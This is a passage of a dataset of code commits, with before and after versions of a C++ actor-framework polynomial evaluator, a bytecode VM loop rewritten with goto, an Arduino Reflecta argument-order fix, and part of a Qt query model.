'\\n';\n}\n<commit_msg>Polynomial Evaluator implemented.<commit_after>\/\/ C++ Actor Framework Exercices\n\/\/ Christian Schirin, 2017-05-17\n\/\/ Exercise 1: Polynomial Evaluator\n#include <string>\n#include <iostream>\n#include <chrono>\r\n#include <thread>\n\n#include \"caf\/all.hpp\"\n\nusing std::endl;\nusing std::string;\n\nusing namespace caf;\n\n\/\/ Type Aliases \nusing calc_atom = atom_constant<atom(\"calc\")>;\n\nbehavior polynomial(std::array<double, 5> as) {\n\treturn {\n\t\t\/\/ Lambda expression, pass parameters by value\n\t\t[=](calc_atom, const double x) -> double {\n\t\t\/\/ Evaluate the polynomial.\n\t\t\/\/ The accumulator variable\n\t\tdouble result = 0;\n\t\t\/\/ x^4, x^3, x^2, x^1, x^0\n\t\tdouble exponent = as.size() - 1; \/\/ This is at generalized as it gets, it would also work for polynomials with a degree that is not 4.\n\t\t\/\/ Doing this with a for loop because C++11 doesn't support fold\n\t\tfor (double a : as) { \n\t\t\tresult += a * std::pow(x, exponent); \/\/how does pow behave at x^0? \/\/ Apparently it returns 1.\n\t\t\texponent -= 1; \/\/ We need to go from size - 1 to 0 here.\n\t\t}\n\t\treturn result;\n\t}\n\t};\n}\n\n\n\nint main() {\n\t\/\/ our CAF environment\n\tactor_system_config cfg;\n\tactor_system system{ cfg };\n\n\tstd::array<double, 5> as;\n\n\t\/\/ Let us use an plain old for loop here because I don't see the benefit over using foreach here.\n\t\/\/ I do need the index here. Even if only to make the user prompt more understandable.\n\tfor (unsigned int i = 0; i < as.size() ; i++) {\n\t\t\/\/ Prompt the user to input something\n\t\tstd::cout << \"Please input a\" << i << \": \";\n\t\t\/\/ declare a temporary variable for the input\n\t\tstring input;\n\t\t\/\/ read from cin\n\t\tstd::cin >> input;\n\t\t\/\/parse the doubles and write to the array\n\t\tas[i] = std::stod(input);\n\t\t\/\/ The obligatory newline\n\t\tstd::cout << endl;\n\t}\n\tstd::cout << \"Thank you! I'll spawn the polynomial evaluator now!\" << endl;\n\n\tscoped_actor self{ system };\n\n\t\/\/ Spawn the actor.\n\t\/\/ The signature of the spawn function doesn't look that straightforward, \n\t\/\/ I think I'll go back to spawn\/3 in Erlang, thanks. :-P\n\tauto p = self->spawn(polynomial, as); \/\/using type inference because I do not know the type.\n\n\t\/\/ How would I even do this with the range based for loop?\n\t\/\/ I would need an iterator that returns something forever.\n\t\/\/ That is easy, but YAGNI, so a for (;;) will do.\n\tfor (;;) {\n\t\tstd::cout << \"Please input an x: \";\n\t\t\/\/ declare a temporary variable for the input\n\t\tstring input;\n\t\t\/\/ read from cin\n\t\tstd::cin >> input;\n\t\t\/\/ parse the x \n\t\tdouble x = stod(input);\n\t\t\/\/ send it to the actor \n\t\tself->send(p, atom(\"calc\"), x);\n\n\t\t\/\/receive from the actor \n\t\tself->receive(\r\n\t\t\t[&](double evaluatedPolynomial) {\r\n\t\t\t\/\/ I'd love to write unit tests for this here instead of writing it to aout.\r\n\t\t\t\/\/ Do you have something like eunit or common_test?\r\n\t\t\taout(self) << evaluatedPolynomial << endl;\r\n\t\t}\r\n\t\t);\n\t\t\/\/ how do I make this receive synchronous?\n\t\t\/\/ I don't like using sleep here.\n\t\tstd::this_thread::sleep_for(std::chrono::milliseconds(50));\n\t}\n\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\r\n *\r\n * Copyright (C) 2009, Joacim Jacobsson ( j dot jacobsson at gmail dot com )\r\n * All rights reserved.\r\n *\r\n * See LICENSE file for details\r\n *\r\n *\/\r\n\r\n#include <callback\/callback.h>\r\n#include <callback\/instructions.h>\r\n\r\nnamespace callback\r\n{\r\n\r\n int run_program( CallbackProgram* info )\r\n {\r\n ProgramHeader* ph = (ProgramHeader*)(info->m_Program);\r\n Instruction* i = (Instruction*)((char*)(info->m_Program) + sizeof(ProgramHeader));\r\n char* bss = (char*)info->m_bss;\r\n char* data = ((char*)(i)) + (sizeof(Instruction) * ph->m_IC);\r\n BssHeader* bh = (BssHeader*)(bss);\r\n callbackHandler ch = info->m_callback;\r\n DebugHandler dh = info->m_Debug;\r\n\r\n bool exit = false;\r\n while( !exit )\r\n {\r\n const Instruction& inst = i[bh->m_IP];\r\n ++bh->m_IP;\r\n ++bh->m_IC;\r\n switch( inst.m_I )\r\n {\r\n case INST_CALL_DEBUG_FN:\r\n \/\/if( dh )\r\n \/\/ dh( info, ph, bh );\r\n break;\r\n case INST_CALL_CONS_FUN:\r\n ch(\r\n bh->m_R[inst.m_A1],\r\n ACT_CONSTRUCT,\r\n (void*)bh->m_R[inst.m_A2],\r\n (void**)bh->m_R[inst.m_A3],\r\n info->m_UserData\r\n );\r\n bh->m_R[inst.m_A1] = 0;\r\n bh->m_R[inst.m_A2] = 0;\r\n bh->m_R[inst.m_A3] = 0;\r\n break;\r\n case INST_CALL_EXEC_FUN:\r\n bh->m_RE = ch(\r\n bh->m_R[inst.m_A1],\r\n ACT_EXECUTE,\r\n (void*)bh->m_R[inst.m_A2],\r\n (void**)bh->m_R[inst.m_A3],\r\n info->m_UserData\r\n );\r\n bh->m_R[inst.m_A1] = 0;\r\n bh->m_R[inst.m_A2] = 0;\r\n bh->m_R[inst.m_A3] = 0;\r\n break;\r\n case INST_CALL_DEST_FUN:\r\n ch(\r\n bh->m_R[inst.m_A1],\r\n ACT_DESTRUCT,\r\n (void*)bh->m_R[inst.m_A2],\r\n (void**)bh->m_R[inst.m_A3],\r\n info->m_UserData\r\n );\r\n bh->m_R[inst.m_A1] = 0;\r\n bh->m_R[inst.m_A2] = 0;\r\n bh->m_R[inst.m_A3] = 0;\r\n break;\r\n\r\n case INST_CALL_PRUN_FUN:\r\n bh->m_RE = ch(\r\n bh->m_R[inst.m_A1],\r\n ACT_PRUNE,\r\n (void*)bh->m_R[inst.m_A2],\r\n (void**)bh->m_R[inst.m_A3],\r\n info->m_UserData\r\n );\r\n bh->m_R[inst.m_A1] = 0;\r\n bh->m_R[inst.m_A2] = 0;\r\n bh->m_R[inst.m_A3] = 0;\r\n break;\r\n case INST_CALL_MODI_FUN:\r\n bh->m_RE = ch(\r\n bh->m_R[inst.m_A1],\r\n ACT_MODIFY,\r\n (void*)bh->m_R[inst.m_A2],\r\n (void**)bh->m_R[inst.m_A3],\r\n info->m_UserData\r\n );\r\n bh->m_R[inst.m_A1] = 0;\r\n bh->m_R[inst.m_A2] = 0;\r\n bh->m_R[inst.m_A3] = 0;\r\n break;\r\n case INST_JABC_R_EQUA_C:\r\n if( bh->m_RE == inst.m_A2 )\r\n bh->m_IP = inst.m_A1;\r\n break;\r\n case INST_JABC_R_DIFF_C:\r\n if( bh->m_RE != inst.m_A2 )\r\n bh->m_IP = inst.m_A1;\r\n break;\r\n case INST_JABC_C_EQUA_B:\r\n if( inst.m_A2 == *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = inst.m_A1;\r\n break;\r\n case INST_JABC_C_DIFF_B:\r\n if( inst.m_A2 != *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = inst.m_A1;\r\n break;\r\n case INST_JABB_C_EQUA_B:\r\n if( inst.m_A2 == *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JABB_C_DIFF_B:\r\n if( inst.m_A2 != *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JABB_B_EQUA_B:\r\n if( *((int*)&(bss[inst.m_A2])) == *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JABB_B_DIFF_B:\r\n if( *((int*)&(bss[inst.m_A2])) != *((int*)&(bss[inst.m_A3])) )\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JABC_CONSTANT:\r\n bh->m_IP = inst.m_A1;\r\n break;\r\n case INST_JREC_CONSTANT:\r\n bh->m_IP += inst.m_A1;\r\n break;\r\n case INST_JABB_BSSVALUE:\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JREB_BSSVALUE:\r\n bh->m_IP += *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST_JABC_S_C_IN_B:\r\n bh->m_IP = inst.m_A1;\r\n *((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n break;\r\n case INST_JREC_S_C_IN_B:\r\n bh->m_IP += inst.m_A1;\r\n *((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n break;\r\n case INST_JABB_S_C_IN_B:\r\n bh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n *((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n break;\r\n case INST_JREB_S_C_IN_B:\r\n bh->m_IP += *((int*)&(bss[inst.m_A1]));\r\n *((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n break;\r\n case INST__STORE_R_IN_B:\r\n *((int*)&(bss[inst.m_A1])) = bh->m_RE;\r\n break;\r\n case INST__STORE_B_IN_R:\r\n bh->m_RE = *((int*)&(bss[inst.m_A1]));\r\n break;\r\n case INST__STORE_C_IN_B:\r\n *((int*)&(bss[inst.m_A1])) = inst.m_A2;\r\n break;\r\n case INST__STORE_B_IN_B:\r\n *((int*)&(bss[inst.m_A1])) = *((int*)&(bss[inst.m_A2]));\r\n break;\r\n case INST__STORE_C_IN_R:\r\n bh->m_RE = inst.m_A1;\r\n break;\r\n case INST_STORE_PD_IN_B:\r\n *(int*)(&bss[inst.m_A1]) = (int)(&data[inst.m_A2]);\r\n break;\r\n case INST_STORE_PB_IN_R:\r\n bh->m_R[inst.m_A1] = (int)(&bss[inst.m_A2]);\r\n break;\r\n case INST__INC_BSSVALUE:\r\n *((int*)&(bss[inst.m_A1])) += inst.m_A2;\r\n break;\r\n case INST__DEC_BSSVALUE:\r\n *((int*)&(bss[inst.m_A1])) += inst.m_A2;\r\n break;\r\n case INST_LOAD_REGISTRY:\r\n bh->m_R[inst.m_A1] = (((int)inst.m_A2)<<16) + inst.m_A3;\r\n break;\r\n case INST_______SUSPEND:\r\n bh->m_IP = 0;\r\n exit = true;\r\n break;\r\n }\r\n }\r\n return bh->m_RE;\r\n }\r\n\r\n}\r\n<commit_msg>Got rid of the outer \"while\" in the VM in favor of a goto. Yes. A goto. really.<commit_after>\/*\r\n *\r\n * Copyright (C) 2009, Joacim Jacobsson ( j dot jacobsson at gmail dot com )\r\n * All rights reserved.\r\n *\r\n * See LICENSE file for details\r\n *\r\n *\/\r\n\r\n#include <callback\/callback.h>\r\n#include <callback\/instructions.h>\r\n\r\nnamespace callback\r\n{\r\n\r\n int run_program( CallbackProgram* info )\r\n {\r\n ProgramHeader* ph = (ProgramHeader*)(info->m_Program);\r\n Instruction* i = (Instruction*)((char*)(info->m_Program) + sizeof(ProgramHeader));\r\n char* bss = (char*)info->m_bss;\r\n char* data = ((char*)(i)) + (sizeof(Instruction) * ph->m_IC);\r\n BssHeader* bh = (BssHeader*)(bss);\r\n callbackHandler ch = info->m_callback;\r\n DebugHandler dh = info->m_Debug;\r\n\r\nstart:\r\n\t\tconst Instruction& inst = i[bh->m_IP];\r\n\t\t++bh->m_IP;\r\n\t\t++bh->m_IC;\r\n\t\tswitch( inst.m_I )\r\n\t\t{\r\n\t\tcase INST_CALL_DEBUG_FN:\r\n\t\t\t\/\/if( dh )\r\n\t\t\t\/\/ dh( info, ph, bh );\r\n\t\t\tbreak;\r\n\t\tcase INST_CALL_CONS_FUN:\r\n\t\t\tch(\r\n\t\t\t\tbh->m_R[inst.m_A1],\r\n\t\t\t\tACT_CONSTRUCT,\r\n\t\t\t\t(void*)bh->m_R[inst.m_A2],\r\n\t\t\t\t(void**)bh->m_R[inst.m_A3],\r\n\t\t\t\tinfo->m_UserData\r\n\t\t\t);\r\n\t\t\tbh->m_R[inst.m_A1] = 0;\r\n\t\t\tbh->m_R[inst.m_A2] = 0;\r\n\t\t\tbh->m_R[inst.m_A3] = 0;\r\n\t\t\tbreak;\r\n\t\tcase INST_CALL_EXEC_FUN:\r\n\t\t\tbh->m_RE = ch(\r\n\t\t\t\tbh->m_R[inst.m_A1],\r\n\t\t\t\tACT_EXECUTE,\r\n\t\t\t\t(void*)bh->m_R[inst.m_A2],\r\n\t\t\t\t(void**)bh->m_R[inst.m_A3],\r\n\t\t\t\tinfo->m_UserData\r\n\t\t\t);\r\n\t\t\tbh->m_R[inst.m_A1] = 0;\r\n\t\t\tbh->m_R[inst.m_A2] = 0;\r\n\t\t\tbh->m_R[inst.m_A3] = 0;\r\n\t\t\tbreak;\r\n\t\tcase INST_CALL_DEST_FUN:\r\n\t\t\tch(\r\n\t\t\t\tbh->m_R[inst.m_A1],\r\n\t\t\t\tACT_DESTRUCT,\r\n\t\t\t\t(void*)bh->m_R[inst.m_A2],\r\n\t\t\t\t(void**)bh->m_R[inst.m_A3],\r\n\t\t\t\tinfo->m_UserData\r\n\t\t\t);\r\n\t\t\tbh->m_R[inst.m_A1] = 0;\r\n\t\t\tbh->m_R[inst.m_A2] = 0;\r\n\t\t\tbh->m_R[inst.m_A3] = 0;\r\n\t\t\tbreak;\r\n\r\n\t\tcase INST_CALL_PRUN_FUN:\r\n\t\t\tbh->m_RE = ch(\r\n\t\t\t\tbh->m_R[inst.m_A1],\r\n\t\t\t\tACT_PRUNE,\r\n\t\t\t\t(void*)bh->m_R[inst.m_A2],\r\n\t\t\t\t(void**)bh->m_R[inst.m_A3],\r\n\t\t\t\tinfo->m_UserData\r\n\t\t\t);\r\n\t\t\tbh->m_R[inst.m_A1] = 0;\r\n\t\t\tbh->m_R[inst.m_A2] = 0;\r\n\t\t\tbh->m_R[inst.m_A3] = 0;\r\n\t\t\tbreak;\r\n\t\tcase INST_CALL_MODI_FUN:\r\n\t\t\tbh->m_RE = ch(\r\n\t\t\t\tbh->m_R[inst.m_A1],\r\n\t\t\t\tACT_MODIFY,\r\n\t\t\t\t(void*)bh->m_R[inst.m_A2],\r\n\t\t\t\t(void**)bh->m_R[inst.m_A3],\r\n\t\t\t\tinfo->m_UserData\r\n\t\t\t);\r\n\t\t\tbh->m_R[inst.m_A1] = 0;\r\n\t\t\tbh->m_R[inst.m_A2] = 0;\r\n\t\t\tbh->m_R[inst.m_A3] = 0;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_R_EQUA_C:\r\n\t\t\tif( bh->m_RE == inst.m_A2 )\r\n\t\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_R_DIFF_C:\r\n\t\t\tif( bh->m_RE != inst.m_A2 )\r\n\t\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_C_EQUA_B:\r\n\t\t\tif( inst.m_A2 == *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_C_DIFF_B:\r\n\t\t\tif( inst.m_A2 != *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_C_EQUA_B:\r\n\t\t\tif( inst.m_A2 == *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_C_DIFF_B:\r\n\t\t\tif( inst.m_A2 != *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_B_EQUA_B:\r\n\t\t\tif( *((int*)&(bss[inst.m_A2])) == *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_B_DIFF_B:\r\n\t\t\tif( *((int*)&(bss[inst.m_A2])) != *((int*)&(bss[inst.m_A3])) )\r\n\t\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_CONSTANT:\r\n\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JREC_CONSTANT:\r\n\t\t\tbh->m_IP += inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_BSSVALUE:\r\n\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JREB_BSSVALUE:\r\n\t\t\tbh->m_IP += *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST_JABC_S_C_IN_B:\r\n\t\t\tbh->m_IP = inst.m_A1;\r\n\t\t\t*((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n\t\t\tbreak;\r\n\t\tcase INST_JREC_S_C_IN_B:\r\n\t\t\tbh->m_IP += inst.m_A1;\r\n\t\t\t*((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n\t\t\tbreak;\r\n\t\tcase INST_JABB_S_C_IN_B:\r\n\t\t\tbh->m_IP = *((int*)&(bss[inst.m_A1]));\r\n\t\t\t*((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n\t\t\tbreak;\r\n\t\tcase INST_JREB_S_C_IN_B:\r\n\t\t\tbh->m_IP += *((int*)&(bss[inst.m_A1]));\r\n\t\t\t*((int*)&(bss[inst.m_A2])) = inst.m_A3;\r\n\t\t\tbreak;\r\n\t\tcase INST__STORE_R_IN_B:\r\n\t\t\t*((int*)&(bss[inst.m_A1])) = bh->m_RE;\r\n\t\t\tbreak;\r\n\t\tcase INST__STORE_B_IN_R:\r\n\t\t\tbh->m_RE = *((int*)&(bss[inst.m_A1]));\r\n\t\t\tbreak;\r\n\t\tcase INST__STORE_C_IN_B:\r\n\t\t\t*((int*)&(bss[inst.m_A1])) = inst.m_A2;\r\n\t\t\tbreak;\r\n\t\tcase INST__STORE_B_IN_B:\r\n\t\t\t*((int*)&(bss[inst.m_A1])) = *((int*)&(bss[inst.m_A2]));\r\n\t\t\tbreak;\r\n\t\tcase INST__STORE_C_IN_R:\r\n\t\t\tbh->m_RE = inst.m_A1;\r\n\t\t\tbreak;\r\n\t\tcase INST_STORE_PD_IN_B:\r\n\t\t\t*(int*)(&bss[inst.m_A1]) = (int)(&data[inst.m_A2]);\r\n\t\t\tbreak;\r\n\t\tcase INST_STORE_PB_IN_R:\r\n\t\t\tbh->m_R[inst.m_A1] = (int)(&bss[inst.m_A2]);\r\n\t\t\tbreak;\r\n\t\tcase INST__INC_BSSVALUE:\r\n\t\t\t*((int*)&(bss[inst.m_A1])) += inst.m_A2;\r\n\t\t\tbreak;\r\n\t\tcase INST__DEC_BSSVALUE:\r\n\t\t\t*((int*)&(bss[inst.m_A1])) += inst.m_A2;\r\n\t\t\tbreak;\r\n\t\tcase INST_LOAD_REGISTRY:\r\n\t\t\tbh->m_R[inst.m_A1] = (((int)inst.m_A2)<<16) + inst.m_A3;\r\n\t\t\tbreak;\r\n\t\tcase INST_______SUSPEND:\r\n\t\t\tbh->m_IP = 0;\r\n\t\t\tgoto exit;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tgoto start;\r\nexit:\r\n\r\n\t\treturn bh->m_RE;\r\n }\r\n\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>\/*\n ReflectaArduinoCore.cpp - Library for exposing the core Arduino library functions over Reflecta\n*\/\n\n#include \"Reflecta.h\"\n\nusing namespace reflecta;\nusing namespace reflectaFunctions;\n\nnamespace reflectaArduinoCore\n{\n void pinMode()\n {\n ::pinMode(pop(), pop());\n }\n \n void digitalRead()\n {\n push(::digitalRead(pop()));\n }\n \n void digitalWrite()\n {\n ::digitalWrite(pop(), pop());\n }\n \n void analogRead()\n {\n push16(::analogRead(pop()));\n }\n \n void analogWrite()\n {\n ::analogWrite(pop(), pop());\n }\n \n void wireBeginMaster()\n {\n Wire.begin();\n }\n \n void wireRequestFrom()\n {\n Wire.requestFrom(pop(), pop());\n }\n \n void wireRequestFromStart()\n {\n Wire.requestFrom(pop(), pop(), false);\n }\n \n void wireAvailable()\n {\n push(Wire.available());\n }\n \n void wireRead()\n {\n if (Wire.available())\n push(Wire.read());\n else\n reflectaFrames::sendEvent(Error, WireNotAvailable);\n }\n \n void wireBeginTransmission()\n {\n Wire.beginTransmission(pop());\n }\n \n \/\/ TODO: Support variants write(string) and write(data, length)\n void wireWrite()\n {\n Wire.write(pop());\n }\n \n void wireEndTransmission()\n {\n Wire.endTransmission();\n }\n \n Servo servos[MAX_SERVOS];\n\n \/\/ TODO: Support variant attach(pin, min, max)\n void servoAttach()\n {\n int8_t pin = pop();\n servos[pin].attach(pin);\n }\n\n void servoDetach()\n {\n servos[pop()].detach();\n }\n\n void servoWrite()\n {\n servos[pop()].write(pop());\n }\n \n void servoWriteMicroseconds()\n {\n servos[pop()].writeMicroseconds(pop16());\n }\n \n \/\/ TODO: Support variant pulseIn(pin, value, timeout)\n void pulseIn()\n {\n \/\/ BUGBUG: Broken, returns a 32 bit result\n push(::pulseIn(pop(), pop()));\n }\n \n \/\/ Bind the Arduino core methods to the ardu1 interface\n void setup()\n {\n reflectaFunctions::bind(\"ardu1\", pinMode);\n reflectaFunctions::bind(\"ardu1\", digitalRead);\n reflectaFunctions::bind(\"ardu1\", digitalWrite);\n reflectaFunctions::bind(\"ardu1\", analogRead);\n reflectaFunctions::bind(\"ardu1\", analogWrite);\n\n reflectaFunctions::bind(\"ardu1\", wireBeginMaster);\n \n reflectaFunctions::bind(\"ardu1\", wireRequestFrom);\n reflectaFunctions::bind(\"ardu1\", wireRequestFromStart);\n reflectaFunctions::bind(\"ardu1\", wireAvailable);\n reflectaFunctions::bind(\"ardu1\", wireRead);\n \n reflectaFunctions::bind(\"ardu1\", wireBeginTransmission);\n reflectaFunctions::bind(\"ardu1\", wireWrite);\n reflectaFunctions::bind(\"ardu1\", wireEndTransmission);\n \n reflectaFunctions::bind(\"ardu1\", servoAttach);\n reflectaFunctions::bind(\"ardu1\", servoDetach);\n reflectaFunctions::bind(\"ardu1\", servoWrite);\n reflectaFunctions::bind(\"ardu1\", servoWriteMicroseconds);\n\n reflectaFunctions::bind(\"ardu1\", pulseIn);\n }\n};\n<commit_msg>Fix behavior changes in compiler that broke functionality in Arduino 1.5.x+<commit_after>\/*\n ReflectaArduinoCore.cpp - Library for exposing the core Arduino library functions over Reflecta\n*\/\n\n#include \"Reflecta.h\"\n\nusing namespace reflecta;\nusing namespace reflectaFunctions;\n\nnamespace reflectaArduinoCore\n{\n void pinMode()\n {\n int8_t pin = pop();\n int8_t val = pop();\n ::pinMode(pin, val);\n }\n\n void digitalRead()\n {\n int8_t pin = pop();\n push(::digitalRead(pin));\n }\n\n void digitalWrite()\n {\n int8_t pin = pop();\n int8_t val = pop();\n ::digitalWrite(pin, val);\n }\n\n void analogRead()\n {\n int8_t pin = pop();\n push16(::analogRead(pin));\n }\n\n void analogWrite()\n {\n int8_t pin = pop();\n int8_t val = pop();\n ::analogWrite(pin, val);\n }\n\n void wireBeginMaster()\n {\n Wire.begin();\n }\n\n void wireRequestFrom()\n {\n int8_t address = pop();\n int8_t quantity = pop();\n Wire.requestFrom(address, quantity);\n }\n\n void wireRequestFromStart()\n {\n int8_t address = pop();\n int8_t quantity = pop();\n Wire.requestFrom(address, quantity, false);\n }\n\n void wireAvailable()\n {\n push(Wire.available());\n }\n\n void wireRead()\n {\n if (Wire.available())\n push(Wire.read());\n else\n reflectaFrames::sendEvent(Error, WireNotAvailable);\n }\n\n void wireBeginTransmission()\n {\n int8_t address = pop();\n Wire.beginTransmission(address);\n }\n\n \/\/ TODO: Support variants write(string) and write(data, length)\n void wireWrite()\n {\n int8_t val = pop();\n Wire.write(val);\n }\n\n void wireEndTransmission()\n {\n Wire.endTransmission();\n }\n\n Servo servos[MAX_SERVOS];\n\n \/\/ TODO: Support variant attach(pin, min, max)\n void servoAttach()\n {\n int8_t pin = pop();\n servos[pin].attach(pin);\n }\n\n void servoDetach()\n {\n int8_t pin = pop();\n servos[pin].detach();\n }\n\n void servoWrite()\n {\n int8_t pin = pop();\n int8_t val = pop();\n servos[pin].write(val);\n }\n\n void servoWriteMicroseconds()\n {\n int8_t pin = pop();\n int8_t val = pop16();\n servos[pin].writeMicroseconds(val);\n }\n\n \/\/ TODO: Support variant pulseIn(pin, value, timeout)\n void pulseIn()\n {\n \/\/ BUGBUG: Broken, returns a 32 bit result\n int8_t pin = pop();\n int8_t val = pop();\n push(::pulseIn(pin, val));\n }\n\n \/\/ Bind the Arduino core methods to the ardu1 interface\n void setup()\n {\n reflectaFunctions::bind(\"ardu1\", pinMode);\n reflectaFunctions::bind(\"ardu1\", digitalRead);\n reflectaFunctions::bind(\"ardu1\", digitalWrite);\n reflectaFunctions::bind(\"ardu1\", analogRead);\n reflectaFunctions::bind(\"ardu1\", analogWrite);\n\n reflectaFunctions::bind(\"ardu1\", wireBeginMaster);\n\n reflectaFunctions::bind(\"ardu1\", wireRequestFrom);\n reflectaFunctions::bind(\"ardu1\", wireRequestFromStart);\n reflectaFunctions::bind(\"ardu1\", wireAvailable);\n reflectaFunctions::bind(\"ardu1\", wireRead);\n\n reflectaFunctions::bind(\"ardu1\", wireBeginTransmission);\n reflectaFunctions::bind(\"ardu1\", wireWrite);\n reflectaFunctions::bind(\"ardu1\", wireEndTransmission);\n\n reflectaFunctions::bind(\"ardu1\", servoAttach);\n reflectaFunctions::bind(\"ardu1\", servoDetach);\n reflectaFunctions::bind(\"ardu1\", servoWrite);\n reflectaFunctions::bind(\"ardu1\", servoWriteMicroseconds);\n\n reflectaFunctions::bind(\"ardu1\", pulseIn);\n }\n};\n<|endoftext|>"} {"text":"<commit_before>\/*\n LICENSE AND COPYRIGHT INFORMATION - Please read carefully.\n\n Copyright (c) 2010-2013, davyjones <dj@pgxplorer.com>\n\n Permission to use, copy, modify, and\/or distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n#include \"querymodel.h\"\n\nQueryModel::QueryModel()\n{\n this->rows_from = 1;\n}\n\nvoid QueryModel::setRowsFrom(int rows_from)\n{\n this->rows_from = rows_from;\n}\n\nint QueryModel::getPivotCol()\n{\n return this->pivot_col;\n}\n\nint QueryModel::getPivotCat()\n{\n return this->pivot_cat;\n}\n\nint QueryModel::getPivotVal()\n{\n return this->pivot_val;\n}\n\nvoid QueryModel::setPivotCol(int pivot_col)\n{\n this->pivot_col = pivot_col;\n}\n\nvoid QueryModel::setPivotCat(int pivot_cat)\n{\n this->pivot_cat = pivot_cat;\n}\n\nvoid QueryModel::setPivotVal(int pivot_val)\n{\n this->pivot_val = pivot_val;\n}\n\nvoid QueryModel::setColumnAggregate(QStringList aggs)\n{\n current_column_aggregates = aggs;\n}\n\nQVariant QueryModel::data(const QModelIndex &index, int role) const\n{\n \/\/Store the index into item to call the sibling of index.\n QModelIndex item = indexInQuery(index);\n\n \/\/Align integers to the right\n if ((index.isValid() && role == Qt::TextAlignmentRole) && (index.data().type() != QMetaType::QString))\n return (Qt::AlignVCenter + Qt::AlignRight);\n\n if(index.isValid() && role == Qt::BackgroundRole && index.column() == pivot_col)\n return QColor(255, 0, 0, 100);\n\n if(index.isValid() && role == Qt::BackgroundRole && index.column() == pivot_cat)\n return QColor(0, 255, 0, 100);\n\n \/\/Disable all roles except DisplayRole\n if (!index.isValid() || (role != Qt::DisplayRole))\n return QVariant();\n\n \/\/Return sibling of index\n return QSqlQueryModel::data(index.sibling(item.row(), index.column()), role);\n}\n\nQVariant QueryModel::headerData(int section, Qt::Orientation orientation, int role) const\n{\n if(orientation == Qt::Vertical && role == Qt::DisplayRole)\n return QVariant(rows_from + section);\n else\n return QSqlQueryModel::headerData(section, orientation, role);\n}\n<commit_msg>Initialise pivot values for QueryModel.<commit_after>\/*\n LICENSE AND COPYRIGHT INFORMATION - Please read carefully.\n\n Copyright (c) 2010-2013, davyjones <dj@pgxplorer.com>\n\n Permission to use, copy, modify, and\/or distribute this software for any\n purpose with or without fee is hereby granted, provided that the above\n copyright notice and this permission notice appear in all copies.\n\n THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n*\/\n\n#include \"querymodel.h\"\n\nQueryModel::QueryModel()\n{\n this->rows_from = 